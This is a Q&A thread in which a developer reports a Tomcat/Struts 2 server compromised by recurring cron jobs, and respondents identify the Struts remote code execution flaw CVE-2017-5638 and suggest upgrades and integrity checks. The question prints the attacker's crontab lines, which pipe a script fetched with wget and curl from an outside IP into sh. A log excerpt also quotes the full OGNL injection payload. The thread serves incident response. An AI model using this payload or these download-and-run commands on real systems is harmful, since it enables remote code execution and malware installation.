8

While running a project war on Apache tomcat server I found that the server has been compromised.

While running the war on an unknown cron is running like this

[root@App2 tmp]# crontab -l -u tomcat
*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh
*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh

The downloaded logo.jpg has a shell script which is downloading a malware.

I found a similar issue on this website below

https://xn--blgg-hra.no/2017/04/covert-channels-hiding-shell-scripts-in-png-files/

and

https://security.stackexchange.com/questions/160068/kworker34-malware-on-linux

I am unable to find the origin of this cron scheduler in my whole code.

What I wish to know that has anyone faced this issue? and how should I go about finding the origin of the scheduler in code.

Note:

I am working on a JAVA(Struts 2)+jsp+javascript+jquery web project.

This scheduler is running every time I am starting my tomcat with the war file of the project, but I am not able to find any scheduler for scheduler in my code.

I have found the following line in my log files

[INFO] 2017-06-02 17:00:41,564 org.apache.struts2.dispatcher.Dispatcher info - Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir
[DEBUG] 2017-06-02 17:00:41,565 org.apache.struts2.dispatcher.Dispatcher debug - saveDir=/opt/tomcat/work/Catalina/localhost/MyApplication
[WARN] 2017-06-02 17:00:41,572 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest warn - Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, 
                content type header is %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
                (#_memberAccess?(#_memberAccess=#dm):
                ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
                (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
                (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
                (#context.setMemberAccess(#dm)))).
                (#cmd='echo "*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh\n*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh" | crontab -').
                (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
                (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
                (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
                (#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
                (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
    at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:908)
    at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:331)
    at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:351)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:189)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92)
    at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:81)
    at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:779)
    at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:134)
    at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:83)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:478)
    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80)
    at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:624)
    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:799)
    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861)
    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1455)
    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    at java.lang.Thread.run(Thread.java:745)
[DEBUG] 2017-06-02 17:00:41,574 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest debug - Preparing error message for key: [struts.messages.upload.error.InvalidContentTypeException]
[DEBUG] 2017-06-02 17:00:41,587 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullPropertyValue [target=[com.opensymphony.xwork2.DefaultTextProvider@6e817b9a], property=struts]
[DEBUG] 2017-06-02 17:00:41,625 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullMethodResult
Abhishek Patil
  • 185
  • 1
  • 7
  • Did you change the default Tomcat logins and disable host-manager? –  Jun 02 '17 at 16:49
  • Do you mean the origin of these two crontab entries (which are cron jobs) or the cron scheduler (also sometime cron daemon)? Do you spawn processes or shell scripts from your Java application (like `Runtime.getRuntime().exec("something")`)? Do you have a link to your project? – Jan Zerebecki Jun 03 '17 at 10:58
  • When you start tomcat without the infected Java app is the cron enabled? –  Jun 05 '17 at 15:09
  • How are you starting tomcat? How are you deploying the app? (via GUI, scripting or just copying the .war file in webapps? –  Jun 05 '17 at 15:37
  • I have added logs of my application please have a look. Feel free to let me know anything you can think of regarding this issue. –  Jun 07 '17 at 11:11
  • You should also re-install your server so that nothing left by the attacker can remain in the system. – Tero Kilkanen Jun 10 '17 at 13:59

3 Answers3

4

After OP had added logs, it become clearly, that problem is in Remote Code Execution exploit for Struts 2 (CVE-2017-5638).

Some additional links:

  1. New Struts2 Remote Code Execution exploit caught in the wild.
  2. CVE-2017-5638 - Apache Struts2 S2-045.

Solution is to upgrade your Struts to version 2.3.32 or 2.5.10.1.

Abhishek Patil
  • 185
  • 1
  • 7
berserkk
  • 156
  • 2
  • Thank you for your answer, but I have already checked my code for keyword such as 'logo.jpg' and '91.230.47.40' they are not there. I have added logs of my application please have a look. Feel free to let me know anything you can think of regarding this issue. –  Jun 07 '17 at 11:11
2

I've faced similar issues before when I was sysadmin. I think you must distinct if it's your tomcat server or your Java app.

When you start tomcat without the "infected Java app" is the cron getting enabled? (I mean, deleting your application from Tomcat and starting it) If so then you have a bigger problem, you'll need to verify the startup scripts and every application deployed in the tomcat server.

Otherwise we are sure your app is the issue.

If that's the case go to:

$CATALINA_BASE/webapps/your_app

Verify the integrity of your application, is there additional files that you do not recognize?

Now go to the webapps directory of your tomcat installation:

$CATALINA_BASE/webapps/

In that directory perform:

grep -R '91.230.47.40' *

To find the possible file/line-of-code which causes the infection, it could be a file of your app or a new one.

Do you have your code in a CSV system?

Build the war file outside the infected server from your CSV repo and do:

md5sum your_app.war

Remove your application from the tomcat server and re-deploy, verify that you're uploading the correct war through md5, then check if the crontab is being invoked.

If you provide feedback on this steps I'll be glad to help.

Miguel Ortiz
  • 121
  • 3
  • 1
    I have already checked my code for keyword such as 'logo.jpg' and '91.230.47.40' they are not there, The issues however is with the application not the tomcat. I have added logs of my application please have a look. Feel free to let me know anything you can think of regarding this issue. –  Jun 07 '17 at 11:11
2

We just had to fight this kind of attack off on a server, it kept restarting overwriting crontab for our tomcat user as described above. The IP address was identical. Grep of entire webapps dir for IP address did not reveal a culprit.

In our case we do not use struts, but we had the "host-manager" and "manager" apps in webapps, and we had JMX enabled/port open. Restarting without those seem to have solved, so my hunch is that the vulnerability might be in one of those. Specifically there was a JMX vulnerability fixed in 7.0.73 that might be our culprit (https://tomcat.apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.73).

Another precaution we are now taking is to restrict access to wget and chmod to root only (just do chmod 770 on those binaries).

Jacob
  • 21
  • 2